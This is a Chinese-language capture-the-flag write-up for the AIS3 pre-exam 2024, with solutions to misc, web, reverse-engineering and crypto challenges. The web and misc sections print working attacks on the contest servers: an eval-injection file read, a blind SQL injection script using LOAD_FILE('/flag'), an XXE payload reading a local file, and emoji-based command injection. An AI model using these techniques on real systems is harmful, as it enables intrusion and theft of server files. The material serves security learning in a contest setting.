0%

AIS3 pre-exam 2024 write-up

記錄一下第 16 名

rank

write up

misc

Welcome

flag AIS3{Welc0me_to_AIS3_PreExam_2o24!}

Three Dimensional Secret

封包下載下來後

透過 Gcode 丟上 https://ncviewer.com
就能看到 flag

image

Emoji Console

先貓星星得到對應的表跟知道有 flag 資料夾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

💿 🚩 😓😐 🐍 🚩⭐

Command: cd flag ;/:| python flag*

flag AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Quantum Nim Heist

贏了才吐 flag

一個永遠不會贏的遊戲,有給三個檔案,或許可以透過修改存檔的方式來贏過他?

算是簡單邏輯漏洞,但我解很久QQ

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if choice == '0':
pile = int(input('which pile do you choose? '))
count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
print_error('that is not a valid move!')
continue

elif choice == '1':
game_str = game.save()
digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
print(game_str + ':' + digest)
return

elif choice == '2':
break

其中會看 0,1,2,如果我們不選擇這三個數字的話,因為沒有 else,對手會有行動,到最後時輸入 3,這時拿走就贏了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
+--------------------- moved ---------------------+
| you removed 2 stones from pile 2 |
+---+-------------- stones info ------------------+
| 0 | oo |
| 1 | oo |
| 2 | oo |
+--------------------- moved ---------------------+
| i removed 2 stones from pile 0 |
+---+-------------- stones info ------------------+
| 0 | oo |
| 1 | oo |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 3
+--------------------- moved ---------------------+
| you removed 2 stones from pile 0 |
+---+-------------- stones info ------------------+
| 0 | oo |
| 1 | oo |
+--------------------- moved ---------------------+
| i removed 2 stones from pile 1 |
+---+-------------- stones info ------------------+
| 0 | oo |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 2
+---------------- congratulations ----------------+
| you are a true grandmaster of chess! here is |
| the flag for you: |
| AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} |
+-------------------------------------------------+

flag AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Hash Guesser

主要在第 5 行那段比對,而他使用的 ImageChops.difference 可以根據圖片「大小」導致判斷一樣(原圖 16 x 16,你丟 1x1 一定幾乎跟他一樣)

1
2
3
4
5
6
7
8
9
10
try:
uploaded_image = Image.open(file.stream)
target_image = generate_image()

if util.is_same_image(uploaded_image, target_image):
return jsonify({"flag": FLAG})
else:
return jsonify({"error": "Wrong guess"}), 400
except Exception as e:
return jsonify({"error": f"{e.__class__.__name__}: {str(e)}"}), 500

根據題目有的 generate_image() 改寫出生成 1*1 大小圖片的 code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
import secrets
from PIL import Image

def generate_image():
h = hashlib.sha256(secrets.token_bytes(16)).hexdigest()
image = Image.new("L", (1, 1), 0)
first_bit = bin(int(h, 16))[2:].zfill(256)[0]
pixel = 255 if first_bit == '1' else 0
image.putdata([pixel])
return image, h

image, h = generate_image()
image.save("generated_image.png")

print(f"Generated hash: {h}")
image.show()

flag AIS3{https://github.com/python-pillow/Pillow/issues/2982}

web

Evil Calculator

用 eval 呼叫其他函式,原本以為要 __import__ 結果打了好久才注意到 _ 被過濾,後來直接使用 open() 來讀取

POST 的 data

1
{"expression":"open('../flag').read()"}

evil

flag AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

It’s MyGO!!!!!

受夠買夠廚了…

根據提示 MySQL 以及網址參數 ?id= 來推測是使用 SQL injection 來盲注,根據我所蒐尋的 id= 3 為例子,

前 21 個字元的取得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from string import ascii_lowercase, ascii_uppercase, digits, punctuation, whitespace, printable, ascii_letters

url = 'http://chals1.ais3.org:11454/song'
timeout_duration = 3 # 超时时间为3秒

def is_correct_char(position, char):
payload = f"2 AND SUBSTRING(LOAD_FILE('/flag'),{position},1)='{char}'"
params = {'id': payload}
try:
response = requests.get(url, params=params, timeout=timeout_duration)
if response.status_code == 200 and response.headers.get('Content-Length') != '462':
return True
except requests.exceptions.RequestException:
pass
return False

def get_flag():
flag = ''
position = 1
possible_chars = ascii_lowercase + ascii_uppercase + digits + punctuation + whitespace + printable + ascii_letters + '{}-_'
while True:
found = False
for char in possible_chars:
if is_correct_char(position, char):
flag += char
print(f"Found character {position}: {char}")
position += 1
found = True
break
if not found:
print("End of flag detected.")
break
return flag

if __name__ == '__main__':
flag = get_flag()
print(f"The complete flag is: {flag}")

21 ~ 61 字元的取得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests

url = 'http://chals1.ais3.org:11454/song'
timeout_duration = 3 # 超时时间为3秒

def is_correct_byte(position, byte):
payload = f"2 AND ORD(SUBSTRING(LOAD_FILE('/flag'),{position},1))={byte}"
params = {'id': payload}
try:
response = requests.get(url, params=params, timeout=timeout_duration)
if response.status_code == 200 and response.headers.get('Content-Length') != '462':
return True
except requests.exceptions.RequestException:
pass
return False

def get_flag():
flag = b''
position = 21 # 從 21 開始

while True:
found = False
byte_value = None

for byte in range(0, 256):
if is_correct_byte(position, byte):
byte_value = byte
break

if byte_value is None:
print("End of flag detected.")
break

flag += bytes([byte_value])
print(f"Found character {position}: {byte_value} (Byte: {byte_value})")
position += 1

return flag

if __name__ == '__main__':
flag = get_flag()
print(f"The complete flag is: {flag}")

這個 flag 總共 62 字元,但不知道為什麼到第 21 字元就死了(猜測後面是 unicode 的關係)

透過上面的 code 可以得到 UTF-8 bytes 再來寫一段 fuction 把他轉為 unicode 就完成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def utf8_to_unicode(utf8_bytes):
try:
# 將 bytes 轉換為 Unicode 字符串
unicode_string = bytes(utf8_bytes).decode('utf-8')
return unicode_string
except UnicodeDecodeError:
# 如果轉換失敗,返回 None
return None

# 要轉換的 UTF-8 bytes
utf8_data = [
[240,159,152,173],
[240,159,142,184],
[240,159,152,173],
[240,159,142,184],
[240,159,152,173],
[240,159,142,164],
[240,159,152,173],
[240,159,165,129],
[240,159,152,184],
[240,159,142,184]
]

# 轉換並輸出結果
for byte_list in utf8_data:
unicode_string = utf8_to_unicode(byte_list)
if unicode_string is not None:
print(unicode_string, end='')
else:
print("無法轉換:", byte_list)

flag AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

Ebook Parser

根據說明 Flag path: /flag

從 app.py 找到了 https://github.com/dnkorpushov/ebookmeta

根據 issues 找到 xxe vulnerability in ebookmeta.get_metadata() #16

有 XXE 漏洞,原本是 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>,但不需要 /etc/passwd,所以將它改為<!ENTITY xxe SYSTEM "file:/flag" >]>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:/flag" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name></first-name><last-name>&xxe;</last-name></author>
<book-title>&xxe;</book-title>
<lang>&xxe;</lang>
</title-info>
<document-info>
<author><first-name></first-name><last-name>Unknown</last-name></author>
<program-used>calibre 6.13.0</program-used>
<date>26.5.2024</date>
<id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
<version>1.0</version>
</document-info>
<publish-info>
</publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

image

flag AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

rev

The Long Print

打開 IDA 按下 F5 會看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h]

puts("Hope you have enough time to receive my flag:");
for ( i = 0; i <= 23; i += 2 )
{
v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]];
for ( j = 0; j <= 3; ++j )
{
sleep(0x3674u);
printf("%c", v4);
v4 >>= 8;
fflush(_bss_start);
}
}
puts("\rOops! Where is the flag? I am sure that the flag is already printed!");
return 0;
}

要得到 flag,你需要解密 secret 陣列。這是通過對 secret 陣列中的每個元素使用 XOR 運算,然後將結果印出來來實現的。另外,它還需要 key 陣列中的相應索引元素來完成 XOR 運算。

首先,我們需要知道 secret 和 key 陣列的內容。由於這些數據是未知的,我們需要通過分析程式碼來找出它們。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 感謝 chatGPT 大大><
import struct

# 定義 secret 和 key 數組
secret = [
b'FAKE', b'\x0B\x00\x00\x00',
b'{hoo', b'\n\x00\x00\x00',
b'ray_', b'\x02\x00\x00\x00',
b'stri', b'\x08\x00\x00\x00',
b'ngs_', b'\x06\x00\x00\x00',
b'is_a', b'\x05\x00\x00\x00',
b'lway', b'\x07\x00\x00\x00',
b's_an', b'\x04\x00\x00\x00',
b'_use', b'\x09\x00\x00\x00',
b'ful_', b'\x00\x00\x00\x00',
b'comm', b'\x01\x00\x00\x00',
b'anz}', b'\x03\x00\x00\x00'
]

key = [
0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40,
0x3104321A, 0x3E2D161D, 0x2C120A31, 0xD3E1103,
0xC1A002C, 0x41D1432, 0x1A003100, 0x76180807
]

# 將 secret 轉換為單個字節數組
secret_bytes = b''.join(secret)

flag = []
for i in range(0, len(secret_bytes), 8):
# 提取 secret 中的 4 個字節並轉換為整數
v4 = struct.unpack('<I', secret_bytes[i:i+4])[0]
# 提取 secret 中的 key 索引值
key_index = struct.unpack('<I', secret_bytes[i+4:i+8])[0]
# XOR 運算
v4 ^= key[key_index]

# 將結果拆分為 4 個字節
for j in range(4):
flag.append(chr(v4 & 0xFF))
v4 >>= 8

# 打印 flag
print("Flag:", ''.join(flag))

flag AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース (未完成)

可以讓它慢慢跑,你會等到死,因為他只會輸出 AIS3{G0D

或者打開 IDA 用angr

flag AIS3{G0D}

crypto

babyRSA

感謝 GPT

1
要從密文解密出明文,特別是在沒有私鑰的情況下,可以嘗試一種暴力破解方法,逐字元嘗試所有可能的字元,並利用已知的公鑰進行驗證。假設你有一個已知的公鑰 (e, n) 和密文 c,你可以逐個字元進行暴力破解,直到找到匹配的明文字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 已知的公钥 (e, n) 和密文 c
e = 65537
n = 2773
ciphertext = [2201, 847, 2081, 2184, 14]

# 加密函数
def encrypt(pk, char):
key, n = pk
return pow(ord(char), key, n)

# 暴力破解函数
def brute_force_decrypt(ciphertext, public_key):
plaintext = ''
for c in ciphertext:
for char in range(32, 127): # 只考虑可打印的ASCII字符
if encrypt(public_key, chr(char)) == c:
plaintext += chr(char)
break
return plaintext

# 破解密文
public_key = (e, n)
decrypted_message = brute_force_decrypt(ciphertext, public_key)
print("Decrypted message:", decrypted_message)

output Decrypted message: @)!,*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&*

flag AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

zkp

主要參考 這邊 跟 chatGPT

1
2
3
4
5
1. 連接到伺服器,獲取公鑰 (p, g, y)。
2. 使用 ZKP 協議,生成隨機數 (a),計算 (c),並提交給伺服器。
3. 從伺服器獲取挑戰值 (w)。
4. 使用 (p, g, y, c, a, w) 來嘗試復原 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import remote
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.residue_ntheory import discrete_log

def main():
# 連接到服務器
conn = remote("chals1.ais3.org", 7002)

# 選擇選項 1 來獲取公鑰
conn.recvuntil("Option:")
conn.sendline("1")

# 獲取並解析公鑰
conn.recvuntil("p = ")
p = int(conn.recvline().strip())
conn.recvuntil("g = ")
g = int(conn.recvline().strip())
conn.recvuntil("y = ")
y = int(conn.recvline().strip())

# 選擇選項 2 來執行 ZKP 協議
conn.recvuntil("Option:")
conn.sendline("2")

# 獲取並解析 a 的值
line = conn.recvline()
print(f"Received line: {line}")
a = int(line.strip().split(b' = ')[1])

# 輸入挑戰值 c
c = 1 # 可以是任意正整數
conn.recvuntil("c = ")
conn.sendline(str(c))

# 獲取並解析 w 的值
line = conn.recvline()
print(f"Received line: {line}")
w = int(line.strip().split(b' = ')[1])

conn.close()

# 使用 ZKP 的值來嘗試復原 flag
def recover_flag(p, g, y, c, a, w):
try:
flag_candidate = discrete_log(p, y, g)
if pow(g, w, p) == (pow(g, flag_candidate, p) ** c * a) % p:
return long_to_bytes(flag_candidate)
except ValueError:
return None
return None

flag = recover_flag(p, g, y, c, a, w)
if flag:
print("Recovered flag:", flag.decode())
else:
print("Failed to recover flag.")

if __name__ == "__main__":
main()

1
2
3
4
5
6
7
8
[x] Opening connection to chals1.ais3.org on port 7002
[x] Opening connection to chals1.ais3.org on port 7002: Trying 10.113.197.211
[+] Opening connection to chals1.ais3.org on port 7002: Done
Received line: b' a = 503051269908953365450268603755766144776789284852370171644684692034348800234807476520518537560116614017932073676606963955260786038076585871140122048688133054453904566561664588044150451141689229716870538916888528994715837506846259413008767551110699316657750746302423758385680647827797756653329981434682918269477\n'
Received line: b'w = 488710963917759769147770731799034035767427018491480397578398529146321712196579093462324925595089908678964506998679897026280090477049304103901636650063205893231096007658185512481534771384668518599552651067651678321510079858318555590367234460736528690800404053413878177740458343213766394435973877168141495430877\n'
[*] Closed connection to chals1.ais3.org port 7002
Recovered flag: AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

flag AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}